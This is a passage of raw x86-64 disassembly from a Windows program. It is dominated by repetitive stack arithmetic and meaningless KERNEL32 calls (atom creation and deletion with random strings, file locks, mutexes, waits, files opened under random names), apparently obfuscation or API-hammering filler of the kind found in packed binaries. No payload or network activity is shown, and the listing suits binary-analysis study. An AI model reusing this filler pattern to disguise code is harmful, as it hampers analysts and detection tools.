mov ecx, dword [rsp + 0x50b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaee0]
mov dword [rcx], eax
lea rax, [rsp + 0x88c8]
mov qword [rsp + 0xc3b8], rax
mov rax, qword [rsp + 0x9fd0]
mov rcx, qword [0x14022fb60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa570]
mov qword [rcx], rax
lea rax, [rsp + 0x228]
mov qword [rsp + 0xc3c0], rax
mov eax, dword [rsp + 0x4a80]
mov rcx, qword [rsp + 0xaa98]
mov qword [rsp + 0xc3c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4fb8], eax
movsx eax, word [rsp + 0x8b4]
mov rcx, qword [rsp + 0xb2c8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa798]
mov word [rcx], ax
movzx eax, byte [rsp + 0x29f]
mov byte [rsp + 0x301], al
mov eax, dword [0x14024f1a4]
mov ecx, dword [rsp + 0x49a8]
xor ecx, eax
mov eax, ecx
mov dword [0x14022fbb4], eax
mov rax, qword [rsp + 0xbde8]
mov rcx, qword [rsp + 0xaf30]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b18], rax
movzx eax, word [rsp + 0x126c]
mov rcx, qword [rsp + 0xbc20]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x6cc], ax
mov rax, qword [rsp + 0xa6d8]
mov rcx, qword [rsp + 0x9688]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb4c8], rax
mov edx, 0x1ca0
mov rcx, qword [rsp + 0xb0e0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x5100], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9878], rax
mov rax, qword [rsp + 0xc210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb4b0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x16b8]
mov word [rsp + 0x170c], ax
movzx ecx, word [rsp + 0x1594]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1154], ax
movzx ecx, word [rsp + 0x1034]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1710], ax
movzx ecx, word [rsp + 0x12e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1214], ax
mov rax, qword [rsp + 0xbe18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12b]
sub eax, ecx
mov byte [rsp + 0x255], al
mov qword [rsp + 0x20], 0
mov r9d, 0x2550
mov r8d, 0x3b2d
mov edx, 0xe0
mov rcx, qword [rsp + 0x9b28]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x5104], eax
lea rcx, [rsp + 0x97d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, 0x7b9
mov rcx, qword [rsp + 0xc200]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4b3c], eax
lea rax, [rsp + 0x44f0]
mov qword [rsp + 0xc3d0], rax
movzx eax, byte [rsp + 0xdb]
movzx ecx, byte [rsp + 0x28c]
and eax, ecx
mov byte [rsp + 0xe2], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7b8], rax
lea rax, [rsp + 0xf0c]
mov qword [0x14024ef78], rax
mov rax, qword [rsp + 0xafa8]
mov rax, qword [rax]
imul rax, qword [rsp + 0x84f8]
mov qword [rsp + 0xb3b8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x99c8], rax
lea rcx, str.YaM8KZqP4
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x15d0], ax
lea rcx, str.AffGt
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1678], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xba18]
mov eax, dword [rax]
mov dword [rsp + 0x5108], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
movzx ecx, word [rsp + 0x11ec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10dc], ax
movzx eax, word [rsp + 0x153c]
movzx ecx, word [rsp + 0x1438]
add eax, ecx
mov word [rsp + 0xb5c], ax
lea rax, [rsp + 0x2fe]
mov qword [rsp + 0xc3d8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1d5b
mov r9d, 0x63d
mov r8d, 0xaffff542
mov edx, 2
mov rcx, qword [rsp + 0x9fa0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x510c], eax
lea rcx, [rsp + 0x22e00]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4f9c], eax
mov eax, dword [rsp + 0x49f0]
mov ecx, dword [rsp + 0x3f34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9dd0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x189]
mov rcx, qword [rsp + 0xb668]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15b], al
mov rcx, qword [rsp + 0xa8c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbc30], rax
mov rax, qword [rsp + 0x9518]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13f4]
sub eax, ecx
mov word [rsp + 0xca0], ax
mov r9d, 1
lea r8, [rsp + 0xc2e8]
mov rdx, qword [rsp + 0xc3e0]
mov rcx, qword [rsp + 0xb358]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4e68], eax
mov rax, qword [rsp + 0x9330]
mov rcx, qword [rsp + 0x9008]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x95c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d18]
movzx eax, word [rax]
mov word [rsp + 0x1714], ax
mov eax, dword [rsp + 0x46e8]
movzx ecx, al
mov eax, dword [rsp + 0x4ae4]
shr eax, cl
mov dword [0x14024f26c], eax
movzx eax, byte [rsp + 0x2fe]
mov rcx, qword [0x14024f0a8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xdb], al
mov rcx, qword [rsp + 0xa590]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9e10]
mov rcx, qword [rsp + 0x91f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7ad0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
lea rdx, [rsp + 0xc3e8]
mov rcx, qword [rsp + 0xc3b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4924], eax
mov rax, qword [rsp + 0xac20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88e8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x82d8], rax
mov rcx, qword [rsp + 0x9b98]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0xbc58]
mov ecx, dword [rsp + 0x4684]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3eb0], eax
movzx eax, word [rsp + 0x738]
mov word [rsp + 0x1718], ax
mov rcx, qword [rsp + 0xa290]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc3f0], rax
movzx ecx, word [rsp + 0xef4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1500], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
lea rcx, str.PcRsD_iOSxl_UtB.oU73
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x161c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb1e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98d0]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x1e1], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rcx, qword [rsp + 0xbdd0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4934], eax
mov rax, qword [rsp + 0xace0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x443c], eax
mov rax, qword [rsp + 0x9b90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ef]
sub eax, ecx
mov rcx, qword [rsp + 0xa750]
mov byte [rcx], al
mov rax, qword [0x14024f118]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb128]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14022fbf4], ax
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0x9d08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x86e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0xa818]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x498c], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x22aa0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x5110], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbce0], rax
mov rax, qword [rsp + 0xae78]
mov rax, qword [rax]
mov qword [rsp + 0xc3f8], rax
mov rax, qword [rsp + 0xb0b0]
mov rcx, qword [rsp + 0xa9b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4238], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov dword [rsp + 0x20], 0xa2f
mov r9d, 0x3f3b
mov r8d, 0x3134
mov edx, 0x37ff
mov rcx, qword [rsp + 0xa458]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4e94], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc400], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x5d4
mov r9d, 0x358
mov r8d, 0xd00a165a
mov edx, 2
mov rcx, qword [rsp + 0xae18]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4c44], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xa1a0]
movzx eax, byte [rax]
mov byte [rsp + 0x302], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9cb0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9cd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc0b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1020], ax
mov rax, qword [rsp + 0x9330]
mov rcx, qword [rsp + 0x9708]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8658], rax
lea rax, [rsp + 0x491c]
mov qword [rsp + 0xc408], rax
lea rdx, [rsp + 0xbf80]
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4f48], eax
mov rax, qword [rsp + 0x9a70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x285]
sub eax, ecx
mov rcx, qword [rsp + 0xaed8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc410], rax
mov rax, qword [rsp + 0xa9d0]
mov rcx, qword [rsp + 0x9ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14024f0f8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [rsp + 0x98f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1638]
shl eax, cl
mov word [rsp + 0x5fc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov r9d, 2
lea r8, [rsp + 0xa4c0]
mov rdx, qword [rsp + 0xc418]
mov rcx, qword [rsp + 0xa938]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ec0], eax
mov rax, qword [rsp + 0x9218]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ae]
cdq
idiv ecx
mov byte [rsp + 0x2a4], al
mov rax, qword [rsp + 0xb560]
movzx eax, word [rax]
mov word [rsp + 0x171c], ax
mov r9d, 0xf55
xor r8d, r8d
lea rdx, [rsp + 0x8ce0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4fe4], eax
lea rcx, [rsp + 0x1a618]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, word [rsp + 0x12cc]
movsx ecx, word [rsp + 0x1084]
or eax, ecx
mov word [rsp + 0x1250], ax
movzx ecx, word [rsp + 0xf5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1720], ax
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xac40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4dcc]
sar eax, cl
mov dword [rsp + 0x4a84], eax
mov rax, qword [rsp + 0xc148]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2c3]
xor eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x9c80]
mov rcx, qword [rsp + 0xaee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbfd0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9950], rax
lea rcx, [rsp + 0xc280]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rcx, qword [rsp + 0xb258]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.dW2a6aWKDwK8KzCoRX3D2d8xoX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc420], rax
mov rax, qword [rsp + 0xc320]
movzx eax, byte [rax]
mov byte [rsp + 0x303], al
mov dword [rsp + 0x20], 0x334
mov r9d, 0x37ab
mov r8d, 0x292c
mov edx, 0x2582
mov rcx, qword [rsp + 0xa130]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4950], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
lea rax, [rsp + 0x11c8]
mov qword [0x14024ef70], rax
mov rax, qword [rsp + 0xa200]
mov rcx, qword [rsp + 0x95b8]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xa2b8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc428], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rcx, [rsp + 0x221a0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4f80], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0xa7d0]
mov rcx, qword [rsp + 0xac50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa728]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9f68]
mov rax, qword [rax]
mov qword [rsp + 0xc430], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [0x14022fbe8]
mov ecx, dword [rsp + 0x4a88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa0d8]
mov dword [rcx], eax
lea rdx, [rsp + 0xb510]
mov rcx, qword [rsp + 0xbb80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x50bc], eax
mov rax, qword [rsp + 0x9270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a60], rax
mov rax, qword [rsp + 0xa850]
mov rcx, qword [rsp + 0xb3a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xba30]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x203]
movsx ecx, byte [rsp + 0x29e]
add eax, ecx
mov byte [rsp + 0x2ac], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc438], rax
movzx eax, word [rsp + 0xdb4]
mov word [rsp + 0x1724], ax
mov rax, qword [rsp + 0xa618]
movzx eax, word [rax]
mov word [0x14024ef68], ax
mov rax, qword [rsp + 0xc320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x290]
and eax, ecx
mov byte [rsp + 0x28c], al
mov edx, 0x238c
mov rcx, qword [rsp + 0x9710]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4eb8], eax
mov rax, qword [rsp + 0xbfd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x484c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x460c], eax
lea rdx, [rsp + 0xc440]
mov rcx, qword [rsp + 0xab20]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4fd0], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movzx eax, byte [rsp + 0x2d6]
mov rcx, qword [0x14024f290]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb780]
mov byte [rcx], al
lea rcx, [rsp + 0x9278]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 0x102a
xor r8d, r8d
lea rdx, [rsp + 0xb378]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x5114], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc0f8], rax
movzx eax, word [rsp + 0x910]
mov rcx, qword [rsp + 0xba70]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16f4], ax
mov rax, qword [rsp + 0x96e8]
movzx eax, word [rax]
mov word [rsp + 0x1728], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov qword [rsp + 0x20], 0
mov r9d, 0x3cde
mov r8d, 0x2b49
mov edx, 0xe6
mov rcx, qword [rsp + 0xa938]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4f78], eax
lea rcx, [0x140234db4]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x172c], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1c08
mov r9d, 0x3bc2
mov r8d, 0xff615345
mov edx, 2
mov rcx, qword [rsp + 0x9c08]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4ec8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0x8f98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9fc0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xae60]
mov byte [rcx], al
lea rax, [rsp + 0x43d0]
mov qword [rsp + 0xc448], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x97f8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.OfHSXVCCQuZhZw_aYGki
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc450], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x223e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b6c], eax
mov rax, qword [rsp + 0xb7e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f68]
mov qword [rsp + 0xc458], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc458]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb0b8], rax
movzx eax, byte [rsp + 0x2af]
movzx ecx, byte [0x14022133c]
or eax, ecx
mov rcx, qword [0x14024f020]
mov byte [rcx], al
mov rax, qword [rsp + 0xc210]
mov eax, dword [rax]
mov dword [rsp + 0x5118], eax
mov edx, 0x12d
mov rcx, qword [rsp + 0x9b80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x50a8], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc460], rax
mov r9d, 0xe78
xor r8d, r8d
lea rdx, [rsp + 0xbf70]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b3c], eax
mov rax, qword [rsp + 0xabb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9f60]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x98f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0xaf98]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa378], rax
movzx ecx, word [rsp + 0x16d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1578], ax
lea rcx, str.D4nBuP
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1730], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xacd0], rax
mov rax, qword [rsp + 0xbdc8]
mov rcx, qword [rsp + 0x85c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88a0], rax
xor r9d, r9d
lea r8, [rsp + 0x9d00]
mov rdx, qword [rsp + 0xc468]
mov rcx, qword [rsp + 0xb580]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x502c], eax
lea rdx, [rsp + 0xb040]
mov rcx, qword [rsp + 0xc2e0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4958], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov eax, dword [rsp + 0x49f0]
mov ecx, dword [rsp + 0x4890]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.qHrFlESdDQb6HM68
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc470], rax
mov rax, qword [rsp + 0xb0a0]
movzx eax, word [rax]
mov word [rsp + 0x1734], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
movsx eax, byte [rsp + 0x284]
mov rcx, qword [rsp + 0xa448]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbbf0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb560]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12f8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov qword [rsp + 0x20], 0
mov r9d, 0x1d5b
mov r8d, 0x63d
mov edx, 0x6e
mov rcx, qword [rsp + 0x9fa0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4f40], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1a4f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbe30], rax
lea rcx, [rsp + 0x1aa38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0x96f8]
mov rcx, qword [rsp + 0xba08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x511c], eax
mov eax, dword [rsp + 0x44c0]
mov ecx, dword [rsp + 0x4a40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14024f310]
mov dword [rcx], eax
lea rax, [rsp + 0x2e8]
mov qword [rsp + 0xc478], rax
mov rax, qword [rsp + 0xb318]
mov rcx, qword [0x14024f3c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa530]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb7e0]
mov rcx, qword [rsp + 0xa760]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7998], rax
mov rax, qword [rsp + 0xa658]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9640]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x2e7], al
mov rcx, qword [rsp + 0xa1f8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, [rsp + 0x1b008]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, word [rsp + 0xb38]
movsx ecx, word [rsp + 0xf74]
sub eax, ecx
mov word [rsp + 0xf64], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor r9d, r9d
lea r8, [rsp + 0xbcb8]
mov rdx, qword [rsp + 0xbb00]
mov rcx, qword [rsp + 0xa1d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4dc8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x2a2]
mov qword [rsp + 0xc480], rax
movzx ecx, word [rsp + 0x1284]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x164c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [0x14022fb68]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x93e0]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0xc330]
mov rdx, qword [rsp + 0xbe00]
mov rcx, qword [rsp + 0xb228]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x5120], eax
mov rcx, qword [rsp + 0x9c30]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x161c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x137c], ax
lea rcx, [rsp + 0xc488]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x21780]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4bc4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
